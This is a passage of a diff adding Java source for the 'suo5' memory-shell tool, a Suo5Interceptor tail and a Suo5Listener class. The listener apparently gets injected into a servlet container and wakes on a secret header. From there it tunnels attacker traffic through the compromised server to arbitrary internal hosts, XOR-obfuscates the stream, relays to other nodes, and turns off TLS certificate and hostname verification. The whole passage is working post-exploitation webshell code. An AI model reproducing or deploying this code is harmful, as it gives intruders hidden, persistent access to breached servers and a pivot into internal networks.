String contentType = request.getHeader("Content-Type");
|
||||||
|
if (contentType == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (contentType.equals("application/x-www-form-urlencoded")) {
|
||||||
|
tryFullDuplex(request, response);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (contentType.equals("application/x-compressed")) {
|
||||||
|
processDataBio(request, response);
|
||||||
|
} else {
|
||||||
|
processDataUnary(request, response);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
// System.out.printf("process data error %s\n", e);
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||||
|
int bufferOffset = 0;
|
||||||
|
while (bufferOffset < b.length) {
|
||||||
|
int readLength = b.length - bufferOffset;
|
||||||
|
int readResult = is.read(b, bufferOffset, readLength);
|
||||||
|
if (readResult == -1) break;
|
||||||
|
bufferOffset += readResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||||
|
InputStream in = request.getInputStream();
|
||||||
|
byte[] data = new byte[32];
|
||||||
|
readFull(in, data);
|
||||||
|
OutputStream out = response.getOutputStream();
|
||||||
|
out.write(data);
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private HashMap newCreate(byte s) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x04});
|
||||||
|
m.put("s", new byte[]{s});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newData(byte[] data) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x01});
|
||||||
|
m.put("dt", data);
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newDel() {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x02});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newStatus(byte b) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("s", new byte[]{b});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] u32toBytes(int i) {
|
||||||
|
byte[] result = new byte[4];
|
||||||
|
result[0] = (byte) (i >> 24);
|
||||||
|
result[1] = (byte) (i >> 16);
|
||||||
|
result[2] = (byte) (i >> 8);
|
||||||
|
result[3] = (byte) (i /*>> 0*/);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int bytesToU32(byte[] bytes) {
|
||||||
|
return ((bytes[0] & 0xFF) << 24) |
|
||||||
|
((bytes[1] & 0xFF) << 16) |
|
||||||
|
((bytes[2] & 0xFF) << 8) |
|
||||||
|
((bytes[3] & 0xFF) << 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void put(String k, Object v) {
|
||||||
|
ctx.put(k, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object get(String k) {
|
||||||
|
return ctx.get(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object remove(String k) {
|
||||||
|
return ctx.remove(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
|
int newLength = to - from;
|
||||||
|
if (newLength < 0) {
|
||||||
|
throw new IllegalArgumentException(from + " > " + to);
|
||||||
|
}
|
||||||
|
byte[] copy = new byte[newLength];
|
||||||
|
int copyLength = Math.min(original.length - from, newLength);
|
||||||
|
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||||
|
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||||
|
for (int i = 0; i < copyLength; i++) {
|
||||||
|
copy[i] = original[from + i];
|
||||||
|
}
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] marshal(HashMap m) throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
Object[] keys = m.keySet().toArray();
|
||||||
|
for (int i = 0; i < keys.length; i++) {
|
||||||
|
String key = (String) keys[i];
|
||||||
|
byte[] value = (byte[]) m.get(key);
|
||||||
|
buf.write((byte) key.length());
|
||||||
|
buf.write(key.getBytes());
|
||||||
|
buf.write(u32toBytes(value.length));
|
||||||
|
buf.write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] data = buf.toByteArray();
|
||||||
|
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||||
|
dbuf.putInt(data.length);
|
||||||
|
// xor key
|
||||||
|
byte key = data[data.length / 2];
|
||||||
|
dbuf.put(key);
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
data[i] = (byte) (data[i] ^ key);
|
||||||
|
}
|
||||||
|
dbuf.put(data);
|
||||||
|
return dbuf.array();
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap unmarshal(InputStream in) throws Exception {
|
||||||
|
byte[] header = new byte[4 + 1]; // size and datatype
|
||||||
|
readFull(in, header);
|
||||||
|
// read full
|
||||||
|
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||||
|
int len = bb.getInt();
|
||||||
|
int x = bb.get();
|
||||||
|
if (len > 1024 * 1024 * 32) {
|
||||||
|
throw new IOException("invalid len");
|
||||||
|
}
|
||||||
|
byte[] bs = new byte[len];
|
||||||
|
readFull(in, bs);
|
||||||
|
for (int i = 0; i < bs.length; i++) {
|
||||||
|
bs[i] = (byte) (bs[i] ^ x);
|
||||||
|
}
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
byte[] buf;
|
||||||
|
for (int i = 0; i < bs.length - 1; ) {
|
||||||
|
short kLen = bs[i];
|
||||||
|
i += 1;
|
||||||
|
if (i + kLen >= bs.length) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
if (kLen < 0) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + kLen);
|
||||||
|
String key = new String(buf);
|
||||||
|
i += kLen;
|
||||||
|
|
||||||
|
if (i + 4 >= bs.length) {
|
||||||
|
throw new Exception("value len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + 4);
|
||||||
|
int vLen = bytesToU32(buf);
|
||||||
|
i += 4;
|
||||||
|
if (vLen < 0) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + vLen > bs.length) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||||
|
i += vLen;
|
||||||
|
|
||||||
|
m.put(key, value);
|
||||||
|
}
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||||
|
final InputStream reqInputStream = request.getInputStream();
|
||||||
|
HashMap dataMap = unmarshal(reqInputStream);
|
||||||
|
|
||||||
|
byte[] action = (byte[]) dataMap.get("ac");
|
||||||
|
if (action.length != 1 || action[0] != 0x00) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
final OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
|
||||||
|
// 0x00 create socket
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
Socket sc;
|
||||||
|
try {
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
} catch (Exception e) {
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
|
||||||
|
final OutputStream scOutStream = sc.getOutputStream();
|
||||||
|
final InputStream scInStream = sc.getInputStream();
|
||||||
|
|
||||||
|
Thread t = null;
|
||||||
|
try {
|
||||||
|
Suo5Interceptor p = new Suo5Interceptor(scInStream, respOutStream);
|
||||||
|
t = new Thread(p);
|
||||||
|
t.start();
|
||||||
|
readReq(reqInputStream, scOutStream);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("pipe error, %s\n", e);
|
||||||
|
} finally {
|
||||||
|
sc.close();
|
||||||
|
respOutStream.close();
|
||||||
|
if (t != null) {
|
||||||
|
t.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||||
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
|
while (true) {
|
||||||
|
int n = inputStream.read(readBuf);
|
||||||
|
if (n <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||||
|
if (needMarshal) {
|
||||||
|
dataTmp = marshal(newData(dataTmp));
|
||||||
|
}
|
||||||
|
outputStream.write(dataTmp);
|
||||||
|
outputStream.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||||
|
while (true) {
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(bufInputStream);
|
||||||
|
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
byte action = actions[0];
|
||||||
|
if (action == 0x02) {
|
||||||
|
socketOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
socketOutStream.write(data);
|
||||||
|
socketOutStream.flush();
|
||||||
|
}
|
||||||
|
} else if (action == 0x03) {
|
||||||
|
continue;
|
||||||
|
} else {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||||
|
Exception {
|
||||||
|
InputStream is = request.getInputStream();
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(is);
|
||||||
|
HashMap dataMap;
|
||||||
|
dataMap = unmarshal(reader);
|
||||||
|
|
||||||
|
|
||||||
|
String clientId = new String((byte[]) dataMap.get("id"));
|
||||||
|
byte[] actions = (byte[]) dataMap.get("ac");
|
||||||
|
if (actions.length != 1) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
ActionCreate byte = 0x00
|
||||||
|
ActionData byte = 0x01
|
||||||
|
ActionDelete byte = 0x02
|
||||||
|
ActionHeartbeat byte = 0x03
|
||||||
|
*/
|
||||||
|
byte action = actions[0];
|
||||||
|
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||||
|
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||||
|
String redirectUrl = "";
|
||||||
|
if (needRedirect) {
|
||||||
|
dataMap.remove("r");
|
||||||
|
redirectUrl = new String(redirectData);
|
||||||
|
needRedirect = !isLocalAddr(redirectUrl);
|
||||||
|
}
|
||||||
|
// load balance, send request with data to request url
|
||||||
|
// action 0x00 need to pipe, see below
|
||||||
|
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||||
|
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
conn.disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
if (action == 0x02) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) return;
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
scOutStream.close();
|
||||||
|
return;
|
||||||
|
} else if (action == 0x01) {
|
||||||
|
Object o = this.get(clientId);
|
||||||
|
if (o == null) {
|
||||||
|
respOutStream.write(marshal(newDel()));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
OutputStream scOutStream = (OutputStream) o;
|
||||||
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
|
if (data.length != 0) {
|
||||||
|
scOutStream.write(data);
|
||||||
|
scOutStream.flush();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action != 0x00) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// 0x00 create new tunnel
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
|
||||||
|
InputStream readFrom;
|
||||||
|
Socket sc = null;
|
||||||
|
HttpURLConnection conn = null;
|
||||||
|
|
||||||
|
if (needRedirect) {
|
||||||
|
// pipe redirect stream and current response body
|
||||||
|
conn = redirect(request, dataMap, redirectUrl);
|
||||||
|
readFrom = conn.getInputStream();
|
||||||
|
} else {
|
||||||
|
// pipe socket stream and current response body
|
||||||
|
try {
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
readFrom = sc.getInputStream();
|
||||||
|
this.put(clientId, sc.getOutputStream());
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("connect error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
this.remove(clientId);
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
readSocket(readFrom, respOutStream, !needRedirect);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.println("socket error " + e.toString());
|
||||||
|
// e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (sc != null) {
|
||||||
|
sc.close();
|
||||||
|
}
|
||||||
|
if (conn != null) {
|
||||||
|
conn.disconnect();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
this.remove(clientId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
readSocket(gInStream, gOutStream, true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static HashMap collectAddr() {
|
||||||
|
HashMap addrs = new HashMap();
|
||||||
|
try {
|
||||||
|
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||||
|
while (nifs.hasMoreElements()) {
|
||||||
|
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||||
|
Enumeration addresses = nif.getInetAddresses();
|
||||||
|
while (addresses.hasMoreElements()) {
|
||||||
|
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||||
|
String s = addr.getHostAddress();
|
||||||
|
if (s != null) {
|
||||||
|
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||||
|
int ifaceIndex = s.indexOf('%');
|
||||||
|
if (ifaceIndex != -1) {
|
||||||
|
s = s.substring(0, ifaceIndex);
|
||||||
|
}
|
||||||
|
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
return addrs;
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean isLocalAddr(String url) throws Exception {
|
||||||
|
String ip = (new URL(url)).getHost();
|
||||||
|
return addrs.containsKey(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||||
|
String method = request.getMethod();
|
||||||
|
URL u = new URL(rUrl);
|
||||||
|
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||||
|
conn.setRequestMethod(method);
|
||||||
|
try {
|
||||||
|
// conn.setConnectTimeout(3000);
|
||||||
|
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||||
|
// conn.setReadTimeout(0);
|
||||||
|
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||||
|
} catch (Exception e) {
|
||||||
|
// java1.4
|
||||||
|
}
|
||||||
|
conn.setDoOutput(true);
|
||||||
|
conn.setDoInput(true);
|
||||||
|
|
||||||
|
// ignore ssl verify
|
||||||
|
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||||
|
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||||
|
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||||
|
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||||
|
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||||
|
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||||
|
}
|
||||||
|
|
||||||
|
Enumeration headers = request.getHeaderNames();
|
||||||
|
while (headers.hasMoreElements()) {
|
||||||
|
String k = (String) headers.nextElement();
|
||||||
|
conn.setRequestProperty(k, request.getHeader(k));
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream rout = conn.getOutputStream();
|
||||||
|
rout.write(marshal(dataMap));
|
||||||
|
rout.flush();
|
||||||
|
rout.close();
|
||||||
|
conn.getResponseCode();
|
||||||
|
return conn;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
|
return new X509Certificate[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,577 @@
|
|||||||
|
package jmg.suo5.memshell;
|
||||||
|
|
||||||
|
import javax.net.ssl.*;
|
||||||
|
import javax.servlet.ServletRequestEvent;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.*;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.security.cert.CertificateException;
|
||||||
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
public static HashMap addrs = collectAddr();
|
||||||
|
public static HashMap ctx = new HashMap();
|
||||||
|
|
||||||
|
InputStream gInStream;
|
||||||
|
OutputStream gOutStream;
|
||||||
|
|
||||||
|
public Suo5Listener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5Listener(InputStream in, OutputStream out) {
|
||||||
|
this.gInStream = in;
|
||||||
|
this.gOutStream = out;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
HttpServletResponse response = getResponseFromRequest(request);
|
||||||
|
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||||
|
String contentType = request.getHeader("Content-Type");
|
||||||
|
if (contentType == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (contentType.equals("application/plain")) {
|
||||||
|
tryFullDuplex(request, response);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (contentType.equals("application/octet-stream")) {
|
||||||
|
processDataBio(request, response);
|
||||||
|
} else {
|
||||||
|
processDataUnary(request, response);
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
// System.out.printf("process data error %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||||
|
int bufferOffset = 0;
|
||||||
|
while (bufferOffset < b.length) {
|
||||||
|
int readLength = b.length - bufferOffset;
|
||||||
|
int readResult = is.read(b, bufferOffset, readLength);
|
||||||
|
if (readResult == -1) break;
|
||||||
|
bufferOffset += readResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||||
|
InputStream in = request.getInputStream();
|
||||||
|
byte[] data = new byte[32];
|
||||||
|
readFull(in, data);
|
||||||
|
OutputStream out = response.getOutputStream();
|
||||||
|
out.write(data);
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private HashMap newCreate(byte s) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x04});
|
||||||
|
m.put("s", new byte[]{s});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newData(byte[] data) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x01});
|
||||||
|
m.put("dt", data);
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newDel() {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("ac", new byte[]{0x02});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap newStatus(byte b) {
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
m.put("s", new byte[]{b});
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] u32toBytes(int i) {
|
||||||
|
byte[] result = new byte[4];
|
||||||
|
result[0] = (byte) (i >> 24);
|
||||||
|
result[1] = (byte) (i >> 16);
|
||||||
|
result[2] = (byte) (i >> 8);
|
||||||
|
result[3] = (byte) (i /*>> 0*/);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int bytesToU32(byte[] bytes) {
|
||||||
|
return ((bytes[0] & 0xFF) << 24) |
|
||||||
|
((bytes[1] & 0xFF) << 16) |
|
||||||
|
((bytes[2] & 0xFF) << 8) |
|
||||||
|
((bytes[3] & 0xFF) << 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void put(String k, Object v) {
|
||||||
|
ctx.put(k, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object get(String k) {
|
||||||
|
return ctx.get(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized Object remove(String k) {
|
||||||
|
return ctx.remove(k);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
|
int newLength = to - from;
|
||||||
|
if (newLength < 0) {
|
||||||
|
throw new IllegalArgumentException(from + " > " + to);
|
||||||
|
}
|
||||||
|
byte[] copy = new byte[newLength];
|
||||||
|
int copyLength = Math.min(original.length - from, newLength);
|
||||||
|
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||||
|
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||||
|
for (int i = 0; i < copyLength; i++) {
|
||||||
|
copy[i] = original[from + i];
|
||||||
|
}
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] marshal(HashMap m) throws IOException {
|
||||||
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||||
|
Object[] keys = m.keySet().toArray();
|
||||||
|
for (int i = 0; i < keys.length; i++) {
|
||||||
|
String key = (String) keys[i];
|
||||||
|
byte[] value = (byte[]) m.get(key);
|
||||||
|
buf.write((byte) key.length());
|
||||||
|
buf.write(key.getBytes());
|
||||||
|
buf.write(u32toBytes(value.length));
|
||||||
|
buf.write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] data = buf.toByteArray();
|
||||||
|
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||||
|
dbuf.putInt(data.length);
|
||||||
|
// xor key
|
||||||
|
byte key = data[data.length / 2];
|
||||||
|
dbuf.put(key);
|
||||||
|
for (int i = 0; i < data.length; i++) {
|
||||||
|
data[i] = (byte) (data[i] ^ key);
|
||||||
|
}
|
||||||
|
dbuf.put(data);
|
||||||
|
return dbuf.array();
|
||||||
|
}
|
||||||
|
|
||||||
|
private HashMap unmarshal(InputStream in) throws Exception {
|
||||||
|
byte[] header = new byte[4 + 1]; // size and datatype
|
||||||
|
readFull(in, header);
|
||||||
|
// read full
|
||||||
|
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||||
|
int len = bb.getInt();
|
||||||
|
int x = bb.get();
|
||||||
|
if (len > 1024 * 1024 * 32) {
|
||||||
|
throw new IOException("invalid len");
|
||||||
|
}
|
||||||
|
byte[] bs = new byte[len];
|
||||||
|
readFull(in, bs);
|
||||||
|
for (int i = 0; i < bs.length; i++) {
|
||||||
|
bs[i] = (byte) (bs[i] ^ x);
|
||||||
|
}
|
||||||
|
HashMap m = new HashMap();
|
||||||
|
byte[] buf;
|
||||||
|
for (int i = 0; i < bs.length - 1; ) {
|
||||||
|
short kLen = bs[i];
|
||||||
|
i += 1;
|
||||||
|
if (i + kLen >= bs.length) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
if (kLen < 0) {
|
||||||
|
throw new Exception("key len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + kLen);
|
||||||
|
String key = new String(buf);
|
||||||
|
i += kLen;
|
||||||
|
|
||||||
|
if (i + 4 >= bs.length) {
|
||||||
|
throw new Exception("value len error");
|
||||||
|
}
|
||||||
|
buf = copyOfRange(bs, i, i + 4);
|
||||||
|
int vLen = bytesToU32(buf);
|
||||||
|
i += 4;
|
||||||
|
if (vLen < 0) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + vLen > bs.length) {
|
||||||
|
throw new Exception("value error");
|
||||||
|
}
|
||||||
|
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||||
|
i += vLen;
|
||||||
|
|
||||||
|
m.put(key, value);
|
||||||
|
}
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||||
|
final InputStream reqInputStream = request.getInputStream();
|
||||||
|
HashMap dataMap = unmarshal(reqInputStream);
|
||||||
|
|
||||||
|
byte[] action = (byte[]) dataMap.get("ac");
|
||||||
|
if (action.length != 1 || action[0] != 0x00) {
|
||||||
|
resp.setStatus(403);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
resp.setBufferSize(512);
|
||||||
|
final OutputStream respOutStream = resp.getOutputStream();
|
||||||
|
|
||||||
|
// 0x00 create socket
|
||||||
|
resp.setHeader("X-Accel-Buffering", "no");
|
||||||
|
Socket sc;
|
||||||
|
try {
|
||||||
|
String host = new String((byte[]) dataMap.get("h"));
|
||||||
|
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||||
|
if (port == 0) {
|
||||||
|
port = request.getLocalPort();
|
||||||
|
}
|
||||||
|
sc = new Socket();
|
||||||
|
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||||
|
} catch (Exception e) {
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||||
|
respOutStream.flush();
|
||||||
|
respOutStream.close();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||||
|
respOutStream.flush();
|
||||||
|
resp.flushBuffer();
|
||||||
|
|
||||||
|
final OutputStream scOutStream = sc.getOutputStream();
|
||||||
|
final InputStream scInStream = sc.getInputStream();
|
||||||
|
|
||||||
|
Thread t = null;
|
||||||
|
try {
|
